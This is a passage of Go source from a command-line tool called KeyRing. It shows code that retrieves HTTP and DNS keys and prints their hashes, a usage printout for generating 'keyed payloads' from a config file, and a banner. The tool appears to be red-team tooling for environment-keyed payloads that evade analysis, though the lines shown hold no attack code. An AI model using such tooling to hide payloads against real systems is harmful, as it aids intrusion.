308 | if err != nil {
309 | fmt.Printf("[!] Error receiving HTTP key for %s: %s\n", request, err)
310 | return
311 | }
312 | fmt.Printf("HTTP Key retrieved for %s\n", request)
313 | fmt.Println(httpKey)
314 | } else {
315 | // If not http:// or https:// lets try DNS
316 | // Do DNS A first
317 | fmt.Println("DNS A Request:")
318 | dnsA, dnsAHash, err := lib.GenerateDNSAKey(request)
319 | if err != nil {
320 | fmt.Printf("\tError received request A record: %s\n", err)
321 | } else {
322 | fmt.Printf("\tDNS Response: %s\n", dnsA)
323 | fmt.Printf("\tHash of Response: %s\n", dnsAHash)
324 | }
325 |
326 | // Do DNS TXT
327 | fmt.Println("DNS TXT Request:")
328 | dnsTXT, dnsTXTHash, err := lib.GenerateDNSTXTKey(request)
329 | if err != nil {
330 | fmt.Printf("\tError received request TXT record: %s\n", err)
331 | } else {
332 | fmt.Printf("\tDNS Response: %s\n", dnsTXT)
333 | fmt.Printf("\tHash of Response: %s\n", dnsTXTHash)
334 | }
335 | }
336 | }
337 |
338 | // not worth leveraging a third-party package but the included
339 | // flag package's usage printout isn't nice enough for me
340 | func usage() {
341 | name := "keyring"
342 | if runtime.GOOS == "windows" {
343 | name += ".exe"
344 | }
345 | fmt.Printf("\nUsage: %s [options] \n\n", name)
346 |
347 | // core functionality
348 | fmt.Println(" Generate Keyed Payload:")
349 | fmt.Println("\t--config ")
350 | fmt.Println("\t Config file to read. Required.")
351 | fmt.Println("\t--lint")
352 | fmt.Println("\t Check config file for errors and print functionality without running keyring.")
353 | fmt.Println()
354 |
355 | // list items
356 | fmt.Println(" Find language and keyer details:")
357 | fmt.Println("\t--list-langs")
358 | fmt.Println("\t List all languages.")
359 | fmt.Println("\t--list-keyers ")
360 | fmt.Println("\t List all keyers for a specified language.")
361 | fmt.Println("\t--help-keyer /")
362 | fmt.Println("\t Show detailed help information for a specific keyer.")
363 | fmt.Println()
364 |
365 | // retrieve things
366 | fmt.Println(" Grab remote keys:")
367 | fmt.Println("\t--request ")
368 | fmt.Println("\t Request and retrieve an HTTP or DNS key. Expects URL or hostname.")
369 | fmt.Println()
370 | }
371 |
372 | // http://ascii.co.uk/art/key
373 | func banner() {
374 | b := `
375 | .--. KeyRing 1.0
376 | /.-. '------------.
377 | \'-' .--"--""-"-"-'
378 | '--'`
379 |
380 | fmt.Println()
381 | fmt.Println(b)
382 | fmt.Println()
383 | }
384 |
--------------------------------------------------------------------------------